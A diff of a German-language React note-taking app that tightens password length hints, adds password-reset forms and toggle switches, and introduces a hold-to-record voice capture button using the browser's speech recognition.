||||||
setSubmitting(true);
|
setSubmitting(true);
|
||||||
triggerHaptic(15);
|
triggerHaptic(15);
|
||||||
try {
|
try {
|
||||||
@@ -185,8 +254,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
type="password"
|
type="password"
|
||||||
value={setupPassword}
|
value={setupPassword}
|
||||||
onChange={(e) => setSetupPassword(e.target.value)}
|
onChange={(e) => setSetupPassword(e.target.value)}
|
||||||
placeholder="Mindestens 4 Zeichen"
|
placeholder="Mindestens 8 Zeichen"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className="w-full h-8 px-2.5 input-field"
|
className="w-full h-8 px-2.5 input-field"
|
||||||
/>
|
/>
|
||||||
@@ -198,7 +266,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
value={setupPasswordConfirm}
|
value={setupPasswordConfirm}
|
||||||
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
|
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
|
||||||
placeholder="Passwort erneut eingeben"
|
placeholder="Passwort erneut eingeben"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className={`w-full h-8 px-2.5 input-field ${
|
className={`w-full h-8 px-2.5 input-field ${
|
||||||
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
|
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
|
||||||
@@ -241,31 +308,31 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-2">
|
<div className="grid grid-cols-1 sm:grid-cols-3 gap-2">
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSharingMode('strict_private')}
|
onClick={() => setSharingMode('private')}
|
||||||
className={`p-2.5 text-left border transition-colors ${
|
className={`p-2.5 text-left border transition-colors ${
|
||||||
sharingMode === 'strict_private'
|
sharingMode === 'private'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'border-border text-muted hover:text-main'
|
: 'border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<p className="font-bold text-xs">Strikt Privat</p>
|
<p className="font-bold text-xs">Privat</p>
|
||||||
<p className="text-[10px] text-muted mt-0.5">
|
<p className="text-[10px] text-muted mt-0.5">
|
||||||
Keiner sieht andere Nutzer. Komplett isoliert.
|
Keiner sieht andere Nutzer. Teilen und Gruppen sind aus.
|
||||||
</p>
|
</p>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSharingMode('teams_only')}
|
onClick={() => setSharingMode('organizations')}
|
||||||
className={`p-2.5 text-left border transition-colors ${
|
className={`p-2.5 text-left border transition-colors ${
|
||||||
sharingMode === 'teams_only'
|
sharingMode === 'organizations'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'border-border text-muted hover:text-main'
|
: 'border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<p className="font-bold text-xs">Teams isoliert</p>
|
<p className="font-bold text-xs">Organisationen</p>
|
||||||
<p className="text-[10px] text-muted mt-0.5">
|
<p className="text-[10px] text-muted mt-0.5">
|
||||||
Nutzer sehen nur Mitglieder ihrer eigenen Teams.
|
Nutzer sehen nur Mitglieder ihrer Organisation. Du startest in einer Organisation mit dem Namen der Instanz.
|
||||||
</p>
|
</p>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -287,7 +354,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="pt-2 border-t border-border space-y-2">
|
<div className="pt-2 border-t border-border space-y-2">
|
||||||
<label className="flex items-center justify-between cursor-pointer select-none">
|
<div className="flex items-center justify-between gap-3 select-none">
|
||||||
<div>
|
<div>
|
||||||
<span className="font-medium text-main block">
|
<span className="font-medium text-main block">
|
||||||
Öffentliche Selbstregistrierung erlauben
|
Öffentliche Selbstregistrierung erlauben
|
||||||
@@ -297,30 +364,21 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
Admin angelegt werden.
|
Admin angelegt werden.
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<input
|
<ToggleSwitch checked={allowRegistration} onChange={setAllowRegistration} />
|
||||||
type="checkbox"
|
</div>
|
||||||
checked={allowRegistration}
|
|
||||||
onChange={(e) => setAllowRegistration(e.target.checked)}
|
|
||||||
className="w-4 h-4 accent-blue-600"
|
|
||||||
/>
|
|
||||||
</label>
|
|
||||||
|
|
||||||
<label className="flex items-center justify-between cursor-pointer select-none pt-1">
|
<div className="flex items-center justify-between gap-3 select-none pt-1">
|
||||||
<div>
|
<div>
|
||||||
<span className="font-medium text-main block">
|
<span className="font-medium text-main block">
|
||||||
Start-Beispieldaten anlegen
|
Beispieldaten anlegen
|
||||||
</span>
|
</span>
|
||||||
<span className="text-[11px] text-muted">
|
<span className="text-[11px] text-muted">
|
||||||
Erstellt wenige Beispiel-Gedanken und ein Einführungsdokument zum Testen.
|
Füllt dein Konto mit Beispiel-Gedanken, Notizen, Aufgabenlisten und Einkaufslisten zum Ausprobieren.
|
||||||
|
Es werden keine weiteren Benutzer angelegt.
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<input
|
<ToggleSwitch checked={createSampleData} onChange={setCreateSampleData} />
|
||||||
type="checkbox"
|
</div>
|
||||||
checked={createSampleData}
|
|
||||||
onChange={(e) => setCreateSampleData(e.target.checked)}
|
|
||||||
className="w-4 h-4 accent-blue-600"
|
|
||||||
/>
|
|
||||||
</label>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -340,6 +398,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
<LegalLinks legal={authStatus.legal} className="mt-4" />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -363,13 +422,14 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
<Lock className="w-4 h-4 text-faint" />
|
<Lock className="w-4 h-4 text-faint" />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Navigation Tabs */}
|
{/* Navigation Tabs (not while choosing a new password) */}
|
||||||
<div className="flex border-b border-border bg-canvas text-xs">
|
<div className={`${authTab === 'reset' || authTab === 'forgot' ? 'hidden' : 'flex'} border-b border-border bg-canvas text-xs`}>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
setAuthTab('login');
|
setAuthTab('login');
|
||||||
setError(null);
|
setError(null);
|
||||||
|
setNotice(null);
|
||||||
}}
|
}}
|
||||||
className={`flex-1 h-9 px-3 font-medium flex items-center justify-center gap-1.5 border-r border-border transition-colors ${
|
className={`flex-1 h-9 px-3 font-medium flex items-center justify-center gap-1.5 border-r border-border transition-colors ${
|
||||||
authTab === 'login'
|
authTab === 'login'
|
||||||
@@ -424,6 +484,106 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
<span>{error}</span>
|
<span>{error}</span>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{notice && !error && (
|
||||||
|
<div role="status" className="mb-4 p-2.5 rounded-card border border-status-ok/40 bg-status-ok/10 text-main flex items-start gap-2">
|
||||||
|
<Check className="w-4 h-4 text-status-ok flex-shrink-0 mt-px" />
|
||||||
|
<span>{notice}</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{authTab === 'forgot' && (
|
||||||
|
<form onSubmit={handleForgotPassword} className="space-y-3.5">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-sm font-bold text-main">Passwort vergessen?</h2>
|
||||||
|
<p className="text-muted mt-1">
|
||||||
|
Gib die E-Mail-Adresse deines Kontos ein. Wir schicken dir einen Link, mit dem du ein neues Passwort festlegst.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">E-Mail-Adresse</label>
|
||||||
|
<input
|
||||||
|
type="email"
|
||||||
|
value={email}
|
||||||
|
onChange={(e) => setEmail(e.target.value)}
|
||||||
|
placeholder="name@beispiel.de"
|
||||||
|
required
|
||||||
|
autoFocus
|
||||||
|
autoComplete="email"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="flex flex-col-reverse sm:flex-row gap-2 pt-1">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setAuthTab('login');
|
||||||
|
setError(null);
|
||||||
|
}}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs"
|
||||||
|
>
|
||||||
|
Zurück zur Anmeldung
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={submitting}
|
||||||
|
className="flex-1 btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{submitting ? 'Sende…' : 'Link anfordern'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{authTab === 'reset' && (
|
||||||
|
<form onSubmit={handleResetPassword} className="space-y-3.5">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-sm font-bold text-main">Neues Passwort festlegen</h2>
|
||||||
|
<p className="text-muted mt-1">Danach bist du überall abgemeldet und meldest dich mit dem neuen Passwort an.</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">Neues Passwort</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
value={newPassword}
|
||||||
|
onChange={(e) => setNewPassword(e.target.value)}
|
||||||
|
placeholder="Mindestens 8 Zeichen"
|
||||||
|
required
|
||||||
|
autoFocus
|
||||||
|
autoComplete="new-password"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">Passwort wiederholen</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
value={newPasswordConfirm}
|
||||||
|
onChange={(e) => setNewPasswordConfirm(e.target.value)}
|
||||||
|
required
|
||||||
|
autoComplete="new-password"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={submitting}
|
||||||
|
className="w-full btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{submitting ? 'Speichere…' : 'Passwort speichern'}
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setError(null);
|
||||||
|
setAuthTab(authStatus.passwordReset ? 'forgot' : 'login');
|
||||||
|
onResetCancel?.();
|
||||||
|
}}
|
||||||
|
className="w-full btn-action h-11 sm:h-9 text-xs"
|
||||||
|
>
|
||||||
|
{authStatus.passwordReset ? 'Neuen Link anfordern' : 'Zur Anmeldung'}
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
)}
|
||||||
|
|
||||||
{authTab === 'login' && (
|
{authTab === 'login' && (
|
||||||
<form onSubmit={handleLogin} className="space-y-3.5">
|
<form onSubmit={handleLogin} className="space-y-3.5">
|
||||||
@@ -472,7 +632,22 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
<label className="block text-muted mb-1">Passwort</label>
|
<div className="flex items-baseline justify-between mb-1">
|
||||||
|
<label className="block text-muted">Passwort</label>
|
||||||
|
{authStatus.passwordReset && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setAuthTab('forgot');
|
||||||
|
setError(null);
|
||||||
|
setNotice(null);
|
||||||
|
}}
|
||||||
|
className="text-accent hover:underline text-[11px] py-1"
|
||||||
|
>
|
||||||
|
Passwort vergessen?
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
<input
|
<input
|
||||||
type="password"
|
type="password"
|
||||||
value={password}
|
value={password}
|
||||||
@@ -557,8 +732,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
type="password"
|
type="password"
|
||||||
value={password}
|
value={password}
|
||||||
onChange={(e) => setPassword(e.target.value)}
|
onChange={(e) => setPassword(e.target.value)}
|
||||||
placeholder="Mindestens 4 Zeichen"
|
placeholder="Mindestens 8 Zeichen"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className="w-full h-8 px-2.5 input-field"
|
className="w-full h-8 px-2.5 input-field"
|
||||||
/>
|
/>
|
||||||
@@ -584,6 +758,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<LegalLinks legal={authStatus.legal} className="mt-4" />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
@@ -0,0 +1,372 @@
|
|||||||
|
import React, { useEffect, useRef, useState } from 'react';
|
||||||
|
import { Mic, Plus } from 'lucide-react';
|
||||||
|
import { triggerHaptic } from '../../lib/api';
|
||||||
|
|
||||||
|
export interface HoldToRecordFabProps {
|
||||||
|
onTap: () => void;
|
||||||
|
onTranscript: (text: string) => Promise<void> | void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const HOLD_DELAY_MS = 350;
|
||||||
|
const CANCEL_DRAG_PX = 60;
|
||||||
|
const STOP_TIMEOUT_MS = 1500;
|
||||||
|
const TOAST_DURATION_MS = 2500;
|
||||||
|
|
||||||
|
export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTranscript }) => {
|
||||||
|
const [isRecording, setIsRecording] = useState(false);
|
||||||
|
const [isCancelZone, setIsCancelZone] = useState(false);
|
||||||
|
const [liveTranscript, setLiveTranscript] = useState('');
|
||||||
|
const [toastMessage, setToastMessage] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const isPressedRef = useRef(false);
|
||||||
|
// A press that turned into a hold must not also count as a tap when the browser sends its click
|
||||||
|
const suppressClickRef = useRef(false);
|
||||||
|
const didEnterHoldRef = useRef(false);
|
||||||
|
const fallbackHandledRef = useRef(false);
|
||||||
|
const isCancelZoneRef = useRef(false);
|
||||||
|
const abortedRef = useRef(false);
|
||||||
|
const isStoppingRef = useRef(false);
|
||||||
|
const hasEndedRef = useRef(false);
|
||||||
|
const finalizedRef = useRef(false);
|
||||||
|
const startYRef = useRef(0);
|
||||||
|
const transcriptRef = useRef('');
|
||||||
|
|
||||||
|
const recognitionRef = useRef<any>(null);
|
||||||
|
const holdTimerRef = useRef<number | null>(null);
|
||||||
|
const stopTimerRef = useRef<number | null>(null);
|
||||||
|
const toastTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
const clearHoldTimer = () => {
|
||||||
|
if (holdTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(holdTimerRef.current);
|
||||||
|
holdTimerRef.current = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const clearStopTimer = () => {
|
||||||
|
if (stopTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(stopTimerRef.current);
|
||||||
|
stopTimerRef.current = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const showToast = (msg: string) => {
|
||||||
|
if (toastTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(toastTimerRef.current);
|
||||||
|
}
|
||||||
|
setToastMessage(msg);
|
||||||
|
toastTimerRef.current = window.setTimeout(() => {
|
||||||
|
setToastMessage(null);
|
||||||
|
toastTimerRef.current = null;
|
||||||
|
}, TOAST_DURATION_MS);
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
return () => {
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
if (toastTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(toastTimerRef.current);
|
||||||
|
}
|
||||||
|
if (recognitionRef.current) {
|
||||||
|
try {
|
||||||
|
recognitionRef.current.abort?.();
|
||||||
|
} catch {
|
||||||
|
// ignore cleanup errors
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const finalizeRecording = async () => {
|
||||||
|
if (finalizedRef.current) return;
|
||||||
|
finalizedRef.current = true;
|
||||||
|
clearStopTimer();
|
||||||
|
recognitionRef.current = null;
|
||||||
|
|
||||||
|
if (abortedRef.current) return;
|
||||||
|
|
||||||
|
const text = transcriptRef.current.trim();
|
||||||
|
setLiveTranscript('');
|
||||||
|
if (!text) {
|
||||||
|
showToast('Nichts erkannt');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
await onTranscript(text);
|
||||||
|
triggerHaptic(25);
|
||||||
|
showToast('Im Quick Dump gespeichert');
|
||||||
|
} catch {
|
||||||
|
showToast('Fehler beim Speichern');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const startVoiceRecording = () => {
|
||||||
|
const SpeechRecognition =
|
||||||
|
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
||||||
|
|
||||||
|
if (!SpeechRecognition) {
|
||||||
|
fallbackHandledRef.current = true;
|
||||||
|
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||||
|
onTap();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const recognition = new SpeechRecognition();
|
||||||
|
recognition.lang = 'de-DE';
|
||||||
|
recognition.interimResults = true;
|
||||||
|
recognition.continuous = true;
|
||||||
|
|
||||||
|
transcriptRef.current = '';
|
||||||
|
abortedRef.current = false;
|
||||||
|
isStoppingRef.current = false;
|
||||||
|
hasEndedRef.current = false;
|
||||||
|
finalizedRef.current = false;
|
||||||
|
isCancelZoneRef.current = false;
|
||||||
|
|
||||||
|
recognition.onresult = (event: any) => {
|
||||||
|
let combined = '';
|
||||||
|
for (let i = 0; i < event.results.length; i++) {
|
||||||
|
combined += event.results[i][0].transcript;
|
||||||
|
}
|
||||||
|
transcriptRef.current = combined;
|
||||||
|
setLiveTranscript(combined);
|
||||||
|
};
|
||||||
|
|
||||||
|
recognition.onerror = (event: any) => {
|
||||||
|
const errCode = event?.error;
|
||||||
|
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
|
||||||
|
abortedRef.current = true;
|
||||||
|
clearStopTimer();
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setLiveTranscript('');
|
||||||
|
if (!fallbackHandledRef.current) {
|
||||||
|
fallbackHandledRef.current = true;
|
||||||
|
showToast('Mikrofon nicht freigegeben');
|
||||||
|
onTap();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (isStoppingRef.current) {
|
||||||
|
void finalizeRecording();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
recognition.onend = () => {
|
||||||
|
hasEndedRef.current = true;
|
||||||
|
if (isStoppingRef.current) {
|
||||||
|
void finalizeRecording();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
recognitionRef.current = recognition;
|
||||||
|
setLiveTranscript('');
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setIsRecording(true);
|
||||||
|
triggerHaptic([15, 60, 25]);
|
||||||
|
recognition.start();
|
||||||
|
} catch {
|
||||||
|
fallbackHandledRef.current = true;
|
||||||
|
setIsRecording(false);
|
||||||
|
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||||
|
onTap();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
if (e.pointerType === 'mouse' && e.button !== 0) return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
e.currentTarget.setPointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore if unsupported in environment
|
||||||
|
}
|
||||||
|
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
|
||||||
|
isPressedRef.current = true;
|
||||||
|
suppressClickRef.current = false;
|
||||||
|
didEnterHoldRef.current = false;
|
||||||
|
fallbackHandledRef.current = false;
|
||||||
|
isCancelZoneRef.current = false;
|
||||||
|
startYRef.current = e.clientY;
|
||||||
|
|
||||||
|
holdTimerRef.current = window.setTimeout(() => {
|
||||||
|
holdTimerRef.current = null;
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
didEnterHoldRef.current = true;
|
||||||
|
suppressClickRef.current = true;
|
||||||
|
startVoiceRecording();
|
||||||
|
}, HOLD_DELAY_MS);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerMove = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
if (!isPressedRef.current || !didEnterHoldRef.current || fallbackHandledRef.current) return;
|
||||||
|
const deltaUp = startYRef.current - e.clientY;
|
||||||
|
const inCancel = deltaUp > CANCEL_DRAG_PX;
|
||||||
|
if (inCancel !== isCancelZoneRef.current) {
|
||||||
|
isCancelZoneRef.current = inCancel;
|
||||||
|
setIsCancelZone(inCancel);
|
||||||
|
triggerHaptic(10);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerUp = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
try {
|
||||||
|
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
isPressedRef.current = false;
|
||||||
|
clearHoldTimer();
|
||||||
|
|
||||||
|
if (!didEnterHoldRef.current) {
|
||||||
|
// A short tap opens on the click that follows. Opening here already would let that click land
|
||||||
|
// on the freshly opened sheet's backdrop and close it again at once.
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fallbackHandledRef.current) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
|
||||||
|
if (isCancelZoneRef.current) {
|
||||||
|
abortedRef.current = true;
|
||||||
|
clearStopTimer();
|
||||||
|
setLiveTranscript('');
|
||||||
|
triggerHaptic(15);
|
||||||
|
try {
|
||||||
|
recognitionRef.current?.abort?.();
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
recognitionRef.current = null;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
isStoppingRef.current = true;
|
||||||
|
if (hasEndedRef.current || !recognitionRef.current) {
|
||||||
|
void finalizeRecording();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
stopTimerRef.current = window.setTimeout(() => {
|
||||||
|
void finalizeRecording();
|
||||||
|
}, STOP_TIMEOUT_MS);
|
||||||
|
|
||||||
|
try {
|
||||||
|
recognitionRef.current.stop();
|
||||||
|
} catch {
|
||||||
|
void finalizeRecording();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
try {
|
||||||
|
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
isPressedRef.current = false;
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
|
||||||
|
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
|
||||||
|
abortedRef.current = true;
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setLiveTranscript('');
|
||||||
|
try {
|
||||||
|
recognitionRef.current?.abort?.();
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
recognitionRef.current = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const displayedTranscript =
|
||||||
|
liveTranscript.length > 180 ? `…${liveTranscript.slice(-180)}` : liveTranscript;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
{isRecording && (
|
||||||
|
<div
|
||||||
|
className={
|
||||||
|
isCancelZone
|
||||||
|
? 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-status-err text-status-err shadow-panel pointer-events-none text-center'
|
||||||
|
: 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-border text-main shadow-panel pointer-events-none text-center'
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{isCancelZone ? (
|
||||||
|
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
|
||||||
|
) : (
|
||||||
|
<div className="space-y-1">
|
||||||
|
<div className="text-xs font-semibold text-main">
|
||||||
|
Ich höre zu… (loslassen speichert)
|
||||||
|
</div>
|
||||||
|
{displayedTranscript ? (
|
||||||
|
<div className="text-xs text-muted break-words max-w-[calc(100vw-3rem)]">
|
||||||
|
{displayedTranscript}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="text-[11px] text-faint">Nach oben ziehen zum Abbrechen</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isRecording && toastMessage && (
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
aria-live="polite"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2 rounded-pill bg-panel-elevated border border-border text-main text-xs font-medium shadow-panel pointer-events-none text-center"
|
||||||
|
>
|
||||||
|
{toastMessage}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onPointerDown={handlePointerDown}
|
||||||
|
onPointerMove={handlePointerMove}
|
||||||
|
onPointerUp={handlePointerUp}
|
||||||
|
onPointerCancel={handlePointerCancel}
|
||||||
|
onContextMenu={(e) => e.preventDefault()}
|
||||||
|
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
|
||||||
|
onClick={() => {
|
||||||
|
if (suppressClickRef.current) {
|
||||||
|
suppressClickRef.current = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
onTap();
|
||||||
|
}}
|
||||||
|
className={
|
||||||
|
isRecording
|
||||||
|
? 'w-14 h-14 -mt-6 rounded-full bg-status-err text-on-accent shadow-lg flex items-center justify-center transition-transform border-4 border-panel cursor-pointer touch-none select-none animate-pulse'
|
||||||
|
: 'w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer touch-none select-none'
|
||||||
|
}
|
||||||
|
title="Schnell erfassen (+)"
|
||||||
|
aria-label="Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen"
|
||||||
|
>
|
||||||
|
{isRecording ? (
|
||||||
|
<Mic className="w-7 h-7 stroke-[2.5]" />
|
||||||
|
) : (
|
||||||
|
<Plus className="w-7 h-7 stroke-[2.5]" />
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import React, { useEffect, useRef, useState } from 'react';
|
import React, { useEffect, useRef, useState, useMemo } from 'react';
|
||||||
import {
|
import {
|
||||||
Mic,
|
Mic,
|
||||||
MicOff,
|
MicOff,
|
||||||
@@ -38,6 +38,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
hideTargetPicker = false,
|
hideTargetPicker = false,
|
||||||
fixedTarget,
|
fixedTarget,
|
||||||
}) => {
|
}) => {
|
||||||
|
// Read-only shared lists cannot take new items; stable reference for the effect below
|
||||||
|
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
|
||||||
const [content, setContent] = useState('');
|
const [content, setContent] = useState('');
|
||||||
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
||||||
const [dueDate, setDueDate] = useState('');
|
const [dueDate, setDueDate] = useState('');
|
||||||
@@ -77,10 +79,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
}, [autoFocusTrigger]);
|
}, [autoFocusTrigger]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!targetListId && lists.length > 0) {
|
if (!targetListId && writableLists.length > 0) {
|
||||||
